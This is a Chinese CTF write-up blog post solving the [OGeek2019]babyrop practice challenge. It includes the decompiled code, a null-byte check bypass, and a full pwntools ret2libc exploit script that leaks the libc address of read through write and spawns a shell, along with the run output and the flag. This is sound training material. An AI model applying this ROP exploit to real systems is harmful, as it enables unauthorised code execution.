我要学pwn.day9

本文详细解析了如何通过精心设计的ROP(Return-Oriented Programming)技巧,利用OGrop这个练手程序,绕过保护措施,找到利用链并泄露 libc 地址,最终成功执行system命令获取flag。作者逐步展示了从查看文件保护、IDA反编译、到编写并执行exploit的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[OGeek2019]babyrop

潜心修炼,从基础开始

栈溢出无system的ROP


解题流程

1.查看文件
$ file OGrop
OGrop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped
2.查看保护
$ checksec OGrop
[*] '/home/ctf/Downloads/pwnexercise/OGrop/OGrop'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开了RELRO和NX保护

3.IDA反编译
int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

获取一个随机数,然后继续跟进sub_804871F,sub_80487D0

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, "%ld", a1);
  v5 = read(0, buf, 0x20u);
  buf[v5 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)buf[7];
}

大概意思就是比较两个字符串是否一样,一样则继续,不一样则退出

strncmp:函数声明为int strncmp ( const char * str1, const char * str2, size_t n );功能是把 str1 和 str2 进行比较,最多比较前 n 个字节,若str1与str2的前n个字符相同,则返回0;若s1大于s2,则返回大于0的值;若s1 小于s2,则返回小于0的值。

可以利用\00绕过比较

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )
    result = read(0, buf, 0xC8u);
  else
    result = read(0, buf, a1);
  return result;
}

buf缓冲区大小为231,如果a1大于231的话就可以栈溢出

a1是哪里来的呢,其实就是我们在上一步的时候输入的

4.查找利用链

在这里插入图片描述
查看字符串,发现没有可利用的后门

那就只能通过write泄露read的got表地址,获得libc偏移,构造system(/bin/sh)

5.编写EXP1
# -*- coding:utf-8 -*-
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

context(os="linux", arch="amd64")
# context.log_level="debug"

local = 0
elf = ELF('./OGrop')

if local:
    pro = process('./OGrop')
else:
    pro = remote('node4.buuoj.cn', 27154)


def get_libcbase():
    write_plt=elf.plt['write']
    read_got=elf.got['read']
    main_addr=0x8048825

    payload1='\x00'+'\xff'*0x7
    pro.sendline(payload1)

    #泄露read的got地址
    payload=b'a'*0xe7+b'b'*0x4
    payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)
    pro.sendlineafter('Correct\n',payload)

    read_addr=u32(pro.recv(4))

    libc=LibcSearcher('read',read_addr)
    libc_base=read_addr-libc.dump('read')
    # print('libc_base_addr:%x'%libc_base)
    return libc,libc_base

def get_shell(libc,libc_addr):
    payload1='\x00'+'\xff'*0x7
    pro.sendline(payload1)

    binsh=libc_addr+libc.dump('str_bin_sh')
    system=libc_addr+libc.dump('system')

    payload=b'a'*0xe7+b'b'*0x4
    payload+=p32(system)+b'AAAA'+p32(binsh)    
    pro.sendlineafter(b'Correct\n',payload)

    pro.interactive()


if __name__ == '__main__' :
    libc ,libc_addr = get_libcbase()
    get_shell(libc,libc_addr)
6.获得flag
$ python OGropExp.py 
[*] '/home/ctf/Downloads/pwnexercise/OGrop/OGrop'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to node4.buuoj.cn on port 27154: Done
Multi Results:
 0: archive-old-glibc (id libc6_2.3.2.ds1-13ubuntu2.2_i386_2)
 1: archive-old-glibc (id libc6_2.3.2.ds1-13ubuntu2_i386_2)
 2: archive-old-glibc (id libc6_2.3.2.ds1-13ubuntu2.3_i386_2)
 3: ubuntu-trusty-amd64-libc6 (id libc6_2.19-0ubuntu6.14_amd64)
 4: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
Please supply more info using 
    add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:4
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[*] Switching to interactive mode
$ cat flag
flag{d05b6cb5-f015-4c71-a686-bef6520b1fba}
$ 
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 27154

打完收工


  1. 由于无法下载题目给出的libc,只能通过LibcSearcher去查找对应的libc,这里找到了5个,挨个试。。。。 ↩︎

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值